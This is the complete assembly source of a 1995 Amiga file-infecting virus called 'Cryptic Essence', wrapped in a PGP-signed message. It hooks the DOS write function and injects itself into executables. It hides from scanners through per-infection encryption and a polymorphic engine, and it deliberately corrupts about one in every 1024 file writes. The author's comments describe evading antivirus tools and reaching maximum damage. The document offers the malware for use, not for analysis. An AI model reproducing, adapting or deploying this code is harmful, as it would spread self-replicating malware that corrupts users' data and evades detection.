-----BEGIN PGP SIGNED MESSAGE-----

 ******************************************************************
 *                                                                *
 *             Cryptic Essence (c) 1995 By Evil Jesus             *
 *                                                                *
 * the world is fucked and so am i maybe it's the other way round *
 *                                                                *
 ******************************************************************

 * note: some oddities in code are due phxass's difficulties to calculate
 *       right values in label (+-) label operations.

	OPT	!
	MACHINE	68000

	XDEF	_write_link
	XDEF	_debug_ce
	XDEF	_check_vir

	XDEF	_comp_size
	XDEF	_nocomp_size
	XDEF	_vir_size
	XDEF	_linkspace
	XDEF	_relochole
	XDEF	_maxadr
	XDEF	_agression
	XDEF	_polywait

	include	"exec/types.i"
	include	"exec/funcdef.i"
	include	"exec/libraries.i"
	include	"exec/exec_lib.i"
	include	"exec/memory.i"

LINKSPACE  = 6		; space need for link vector in start of file
RELOCHOLE  = 9216	; relocation hole need for viruscode (div by 4)
MAXADR	   = 32766	; maximum offset for hole
AGRESSION  = 1024	; how often to corrupt write calls
POLYWAIT   = 50		; how often use long link

; for debugging infector
; a0 dosbase
_debug_ce	move.l	-48+2(a0),write_old
		rts

_check_vir	move.l	write_infect,d0
		rts

_comp_size	dc.l	comp_e-comp_s
_nocomp_size	dc.l	nocomp_e-nocomp_s
_vir_size	dc.l	vir_e-vir_s
_linkspace	dc.l	LINKSPACE
_relochole	dc.l	RELOCHOLE
_maxadr		dc.l	MAXADR
_agression	dc.l	AGRESSION
_polywait	dc.l	POLYWAIT

		cnop	0,4

vir_s:
comp_s:

; *******************************************************************
; dos write function link (no code before this!)
; d1 file
; d2 buffer
; d3 length
_write_link	movem.l	d2-d7/a2-a6,-(sp)
		link	a3,#-12
		lea	b,a4
		movem.l	d1-d3,(a3)
		move.l	write_old-b(a4),a5
		add.l	#1,write_count-b(a4)
		move.l	d2,a0
		move.l	d3,d0
		bsr	find_hole
		tst.l	d0
		beq	.normal
		bsr	infect
		tst.l	d0
		beq	.nosuccess
		movem.l	(a3),d1-d3		; save virus and rest of data
		jsr	(a5)
.nosuccess	bsr	fix_infect		; remember to save d0
		bra	.exit

.normal		movem.l	(a3),d1-d3
		subq.w	#1,write_wait-b(a4)
		bpl	.write
		move.w	#AGRESSION,write_wait-b(a4)
		add.l	#1,write_err-b(a4)
		move.l	d2,a2
		move.l	d3,d0
		lsr.l	#1,d0
		add.l	d0,a2
		not.b	(a2)
		jsr	(a5)
		not.b	(a2)
		bra	.exit
.write		jsr	(a5)
.exit		unlk	a3
		movem.l	(sp)+,d2-d7/a2-a6
		rts

; *******************************************************************
; search reloc hole from data
;  a0 mem
;  d0 size
; d0 success
find_hole	movem.l	d2-d7/a2-a6,-(sp)

		moveq	#0,d7
		cmp.l	#RELOCHOLE,d0		; no point checking if smaller
		blo	.notexe
		move.l	a0,d1
		btst	#0,d1			; aligment?
		bne	.notexe
		cmp.l	#$3f3,(a0)		; exe?
		bne	.notexe
		tst.l	4(a0)
		bne	.notexe
		move.l	8(a0),d1		; hunk count
		lsl.l	#2,d1
		lea	28(a0,d1.l),a1		; first hunk
		move.l	a1,hunk_code-b(a4)
		cmp.l	#$3e9,-8(a1)		; code hunk?
		bne	.notexe
		cmp.w	#$4afc,2(a1)		; exclude libraries & devices
		beq	.notexe			; (rude check)
		cmp.w	#$4e75,2(a1)
		beq	.notexe
		cmp.w	#$4e75,4(a1)
		beq	.notexe
		cmp.w	#$4afc,4(a1)
		beq	.notexe

		move.l	-4(a1),d1
		lsl.l	#2,d1
		cmp.l	#RELOCHOLE,d1		; enough data in codehunk
		blo	.notexe
		lea	(a1,d1.l),a2		; reloc-32 start
		lea	-4(a0,d0.l),a3		; data end
		cmp.l	a3,a2
		bhi	.notexe
		cmp.l	#$3ec,(a2)		; reloc hunk?
		bne	.noreloc

		moveq	#0,d2			; calculate reloc count
		lea	4(a2),a0
.calc		cmp.l	a3,a0
		bhi	.notexe
		move.l	(a0),d0
		beq	.calcdone
		add.l	d0,d2
		lsl.l	#2,d0
		lea	8(a0,d0.l),a0
		bra	.calc

.calcdone	move.l	d2,d0
		lsl.l	#2,d0
		moveq	#0,d1
		move.l	$4.w,a6
		CALLLIB	_LVOAllocVec
		move.l	d0,d7
		beq	.notexe
		lea	4(a2),a0		; sort hunk
		move.l	d0,a1
		move.l	d2,d0
		bsr	_sort_hunk		

		move.l	d2,d0			; search reloc hole
		move.l	d7,a0
		move.l	(a0),d2
		cmp.l	#LINKSPACE,d2
		blo	.notexe
		moveq	#2,d1
.loop		move.l	(a0)+,d2
		cmp.l	#MAXADR,d2
		bhi	.notexe
		move.l	d2,d3
		sub.l	d1,d2
		cmp.l	#RELOCHOLE+4,d2
		bhs	.hit
		move.l	d3,d1
		subq.l	#1,d0
		bne	.loop
		move.l	hunk_code-b(a4),a0
		move.l	-4(a0),d2
		lsl.l	#2,d2
		sub.l	d1,d2
		cmp.l	#RELOCHOLE+4,d2
		bhs	.hit
		bra	.notexe
.hit		move.l	hunk_code-b(a4),a0
		add.l	d1,a0
		add.l	#4,a0
		move.l	a0,hunk_hole-b(a4)
		moveq	#1,d6
		bra	.exit
.noreloc	move.l	hunk_code-b(a4),a0
		add.l	#LINKSPACE,a0
		move.l	a0,hunk_hole-b(a4)
		moveq	#1,d6
		bra	.exit
.notexe		moveq	#0,d6
.exit		tst.l	d7
		beq	.no_free
		move.l	d7,a1
		CALLLIB	_LVOFreeVec
.no_free	move.l	d6,d0

		movem.l	(sp)+,d2-d7/a2-a6
		rts

; *******************************************************************
; compress hole and virus together and prepare memory
; d0 success
infect		movem.l	d2-d7/a2-a6,-(sp)

	* we need to allocate two buffers due compressor implementation
		move.l	#RELOCHOLE+128,d0
		add.l	#comp_e-comp_s,d0
		lsl.l	#1,d0
		moveq	#0,d1
		move.l	$4.w,a6
		CALLLIB	_LVOAllocVec
		move.l	d0,hunk_comp-b(a4)
		beq	.nocomp

		move.l	hunk_hole-b(a4),d0	; distance to save
		sub.l	hunk_code-b(a4),d0
		move.w	d0,run_reloc-b(a4)
		move.l	hunk_code-b(a4),a0	; copy jump vector to save
		lea	linksafe,a1
		move.w	#LINKSPACE-1,d0
.loop3		move.b	(a0)+,(a1)+
		dbf	d0,.loop3

		move.l	hunk_comp-b(a4),a1
		move.l	hunk_hole-b(a4),a0	; copy relochole to save
		move.w	#[RELOCHOLE/4]-1,d0
.loop		move.l	(a0)+,(a1)+
		dbf	d0,.loop
		lea	comp_s,a0		; copy virus to save
		move.w	#comp_e-comp_s,d0
		lsr.w	#2,d0
		subq.w	#1,d0
.loop2		move.l	(a0)+,(a1)+
		dbf	d0,.loop2

		move.l	hunk_comp-b(a4),a0	; pack data
		move.l	#RELOCHOLE,d0
		add.l	#comp_e-comp_s,d0
		move.l	a0,a1
		add.l	d0,a1
		bsr	pack
		tst.l	d0
		beq	.nocomp
		move.l	hunk_comp-b(a4),a0	; check if packed enough
		add.l	#RELOCHOLE,a0
		add.l	#comp_e-comp_s,a0
		move.l	(a0),d0
		add.l	#nocomp_e-nocomp_s,d0
		add.l	#8,d0
		cmp.l	#RELOCHOLE,d0
		bls	.compok
		clr.l	(a0)
		bra	.nocomp
.compok

	* header/data copy

		lea	nocomp_s,a0
		move.l	hunk_hole-b(a4),a1
		move.w	#nocomp_e-nocomp_s,d0
		lsr.w	#2,d0
		subq.w	#1,d0
.loop4		move.l	(a0)+,(a1)+
		dbf	d0,.loop4

		move.l	hunk_comp-b(a4),a0	; packed data
		add.l	#RELOCHOLE,a0
		add.l	#comp_e-comp_s,a0
		move.l	(a0),d0
		add.l	#4,d0
		lsr.w	#2,d0
.loop5		move.l	(a0)+,(a1)+
		dbf	d0,.loop5

	* jump vector (including surprise for killers who don't examine code) *

		move.l	hunk_code-b(a4),a2
		move.w	run_reloc-b(a4),d0
		sub.w	#2,d0
		sub.w	#1,poly_link-b(a4)
		bpl	.giggle
		move.w	#POLYWAIT,poly_link-b(a4)
		sub.w	#2,d0
		move.w	#$4e71,(a2)+
.giggle		move.w	#$4efa,(a2)+		; add jmp to start of hunk
		move.w	d0,(a2)

	* the real magic begins... *

		move.w	$dff00a,d1		; 'random' key
		move.w	$dff006,d2		; 'random' add
		move.b	$bfe601,d3		; add/sub mode
		move.l	hunk_hole-b(a4),a0
		add.w	#crypt_s-nocomp_s,a0
		move.w	#RELOCHOLE/2,d0
		sub.w	#crypt_s-nocomp_s,d0
		lsr.w	#1,d0
		move.w	d0,d4			; crypt size
		move.w	d1,d5
.loop6		eor.w	d5,(a0)+		; crypt data
		tst.b	d3
		bpl	.addmode
		sub.w	d2,d5
		bra	.more
.addmode	add.w	d2,d5
.more		dbf	d0,.loop6

		move.l	hunk_hole-b(a4),a0
		move.w	d1,sp00-nocomp_s+2(a0)		; put key
		move.w	d4,sp02-nocomp_s+2(a0)		; put size
		move.w	#$0640,sp05-nocomp_s(a0)	; opcode: add
		tst.b	d3
		bpl	.putadd
		move.w	#$0440,sp05-nocomp_s(a0)	; opcode: sub
.putadd		move.w	d2,sp05-nocomp_s+2(a0)		; put value

	* Simple Polymorph Engine (SpE) *

; add.w  #$0000,dx	; %0000000000000xxx
; sub.w  #$0000,dx      ; %0000000000000xxx
; dbf    dx,label	; %0000000000000xxx
; move.w #$0000,dx	; %0000xxx000000000
; eor.w  dx,(ay)+	; %0000xxx000000yyy
; lea    label(pc),ay	; %0000yyy000000000

		moveq	#9,d3
		move.w	poly_a-b(a4),d0
		add.w	#1,d0
		cmp.w	#5,d0
		bls	.adrok
		moveq	#0,d0
.adrok		move.w	d0,poly_a-b(a4)
		move.w	#%1111111111111000,d2
		and.w	d2,sp04-nocomp_s(a0)		; eor
		or.w	d0,sp04-nocomp_s(a0)
		move.w	#%1111000111111111,d2
		lsl.w	d3,d0
		and.w	d2,sp03-nocomp_s(a0)		; lea
		or.w	d0,sp03-nocomp_s(a0)

		move.w	poly_d-b(a4),d0
		add.w	#1,d0
		cmp.w	#7,d0
		bls	.datok
		moveq	#0,d0
.datok		move.w	d0,poly_d-b(a4)
		move.w	d0,d1
		add.w	#1,d1
		cmp.w	#7,d1
		bls	.datok2
		moveq	#0,d1
.datok2:	move.w	#%1111111111111000,d2
		and.w	d2,sp05-nocomp_s(a0)		; add/sub
		or.w	d0,sp05-nocomp_s(a0)
		and.w	d2,sp06-nocomp_s(a0)		; dbf
		or.w	d1,sp06-nocomp_s(a0)
		move.w	#%1111000111111111,d2
		lsl.w	d3,d0
		lsl.w	d3,d1
		and.w	d2,sp00-nocomp_s(a0)		; move
		or.w	d0,sp00-nocomp_s(a0)
		and.w	d2,sp04-nocomp_s(a0)		; eor
		or.w	d0,sp04-nocomp_s(a0)
		and.w	d2,sp02-nocomp_s(a0)		; move
		or.w	d1,sp02-nocomp_s(a0)

	* magic ends, now it is harder to select scan string
.skip
		add.l	#1,write_infect-b(a4)
		moveq	#1,d0
		bra	.exit
.nocomp		moveq	#0,d0
.exit:		movem.l	(sp)+,d2-d7/a2-a6
		rts

; *******************************************************************
; repair possible damage done by infect and free everything
; (note: all registersmust be saved)
fix_infect	movem.l	d0-d7/a0-a6,-(sp)
		move.l	hunk_comp-b(a4),d0
		beq	.no_free
		move.l	d0,a0			; check if memory file was modified
		add.l	#RELOCHOLE,a0
		add.l	#comp_e-comp_s,a0
		tst.l	(a0)
		beq	.free_only
		move.l	d0,a1			; copy relochole back
		move.l	hunk_hole-b(a4),a0
		move.w	#[RELOCHOLE/4]-1,d1
.loop		move.l	(a0)+,(a1)+
		dbf	d1,.loop
		lea	linksafe,a0		; copy jump vector back
		move.l	hunk_code-b(a4),a1
		move.w	#LINKSPACE-1,d1
.loop3		move.b	(a0)+,(a1)+
		dbf	d1,.loop3
.free_only	move.l	d0,a1
		move.l	$4.w,a6
		CALLLIB	_LVOFreeVec
.no_free	clr.l	hunk_comp-b(a4)
		movem.l	(sp)+,d0-d7/a0-a6
		rts

; *******************************************************************
; repair runned file and install virus to memory
; a3 header adr
; a5 start of this memory
; d5 size of this memory
; a6 exec
run_code
		CALLLIB	_LVOForbid
		lea	b,a4
		move.l	a3,a0			; program run adr
		sub.w	run_reloc-b(a4),a0
		move.l	a0,linkjmp-b+2(a4)
		lea	dosname,a1
		moveq	#36,d0
		CALLLIB	_LVOOpenLibrary
		tst.l	d0
		beq	.repair
		move.l	d0,a2
		move.l	d0,a1
		CALLLIB	_LVOCloseLibrary
		move.l	-48+2(a2),d0
		move.l	d0,write_old-b(a4)
		cmp.l	#$00f00000,d0		; rekicked won't be active...
		blo	.repair
		cmp.l	#$00ffffff,d0
		bhi	.repair
		move.l	#vir_e-vir_s,d0		; alloc mem for both parts
		move.l	#0,d1
		CALLLIB	_LVOAllocMem
		move.l	d0,d7
		beq	.repair
		clr.l	hunk_comp-b(a4)
		lea	comp_s,a0		; copy compcode
		move.l	d7,a1
		move.w	#comp_e-comp_s,d0
		lsr.w	#2,d0
		subq.w	#1,d0
.loop		move.l	(a0)+,(a1)+
		dbf	d0,.loop
		move.l	a3,a0			; copy nocompcode (header)
		move.w	#nocomp_e-nocomp_s,d0
		lsr.w	#2,d0
		subq.w	#1,d0
.loop2		move.l	(a0)+,(a1)+
		dbf	d0,.loop2
		move.l	d7,-48+2(a2)		; activate CE

.repair		lea	linksafe-b(a4),a0	; link back
		move.l	linkjmp-b+2(a4),a1
		moveq	#LINKSPACE-1,d1
.loop3		move.b	(a0)+,(a1)+
		dbf	d1,.loop3
		move.l	a5,a0			; relochole back
		move.l	a3,a1
		move.w	#[RELOCHOLE/4]-1,d1
.loop4		move.l	(a0)+,(a1)+
		dbf	d1,.loop4
		cmp.w	#$4ef9,_LVOCacheClearU(a6)
		bne	.kick13
		jsr	_LVOCacheClearU(a6)
.kick13		move.l	a5,a1
		move.l	d5,d0
		CALLLIB	_LVOFreeMem
		CALLLIB	_LVOPermit
		movem.l	(sp)+,d0-d7/a0-a6	; crash is possible...
linkjmp		jmp	$43453130

; *******************************************************************
; sort data
; a0 source longwords
; a1 target area
; d0 count
_sort_hunk
		movem.l	a1/d0,-(sp)
.next		move.l	(a0),d0
		beq	.done
		add.l	#8,a0
.loop		move.l	(a0)+,(a1)+
		subq.l	#1,d0
		bne	.loop
		bra	.next
.done		movem.l	(sp)+,a0/d0

		include	"lqsort.asm"

		EVEN

; *******************************************************************
; compress data
;  a0 source
;  a1 target
;  d0 source size
;  d1 target size
; d0 success
pack		include	"compressor.asm"

*** data ***

b:

hunk_code	dc.l	0		; codehunk adr
hunk_hole	dc.l	0		; relochole adr
hunk_comp	dc.l	0		; relochole save & virus
write_old	dc.l	0		; old write function address
write_count	dc.l	0		; write call count (total)
write_err	dc.l	0		; write call count (corrupted)
write_infect	dc.l	0		; write call count (infected)
write_wait	dc.w	AGRESSION	; corruption wait
poly_link	dc.w	POLYWAIT	; trap for viruskillers
poly_a		dc.w	0
poly_d		dc.w	0
linksafe	blk.b	LINKSPACE,0	; old code in start of hunk
run_reloc	dc.w	0		; distance between hole and codehunk start

*** strings ***

	dc.b	"Cryptic Essence, © 1995 Evil Jesus (maximum false positive) "
	dc.b	"Extra thanks for Vesselin Bontchev for giving valueable "
	dc.b	"information how to reach maximum damage in essee 'Future "
	dc.b	"Trends in Virus Writing'"
dosname	dc.b	"dos.library",0
	cnop	0,4

comp_e:

; --- this part cannot be compressed ---

nocomp_s:

; visible header (SpE coded)
		movem.l	d0-d7/a0-a6,-(sp)
sp00		move.w	#$4345,d0
sp01		move.l	$4.w,a6
sp02		move.w	#$1234,d1
sp03		lea	crypt_s(pc),a0
sp04		eor.w	d0,(a0)+
sp05		add.w	#$3934,d0	; add/sub
sp06		dbf	d1,sp04
sp07		cmp.w	#$4ef9,_LVOCacheClearU(a6)
sp08		bne	crypt_s
sp09		jsr	_LVOCacheClearU(a6)

; some killers will decrypt this using header key, solution must be
; found to hide it better... fortunately code can be rewritten easily
; without fear of multiple infections of variants!

crypt_s:
		move.l	#RELOCHOLE+256,d0
		add.l	#comp_e-comp_s,d0
		move.l	d0,d5
		move.l	#0,d1
		CALLLIB	_LVOAllocMem
		tst.l	d0
		beq	.fail
		move.l	d0,a5
		lea	nocomp_e,a0
		move.l	d0,a1
		bsr	depack
		cmp.w	#$4ef9,_LVOCacheClearU(a6)
		bne	.kick13
		jsr	_LVOCacheClearU(a6)
.kick13		lea	nocomp_s,a3
		lea	RELOCHOLE(a5),a0
		add.l	#run_code-comp_s,a0
		jmp	(a0)
.fail:		movem.l	(sp)+,d0-d7/a0-a6
		move.l	#20,d0
		rts

; *******************************************************************
; decompress data
;  a0 source
;  a1 target
depack		include	"decompressor.asm"
		cnop	0,4
nocomp_e:

; --- compressed data follows ---

vir_e:

-----BEGIN PGP SIGNATURE-----
Version: 2.6ui (Amiga)

iQBFAgUBMFQGSY3j8jX6L7S9AQE9NAF/VwqG1gb2rjJ7+Hpk3UXpWMDoa/L+CgDx
xkgGgpETv/OuqDsOXK/pWmD4XM6q7HFh
=/r5A
-----END PGP SIGNATURE-----
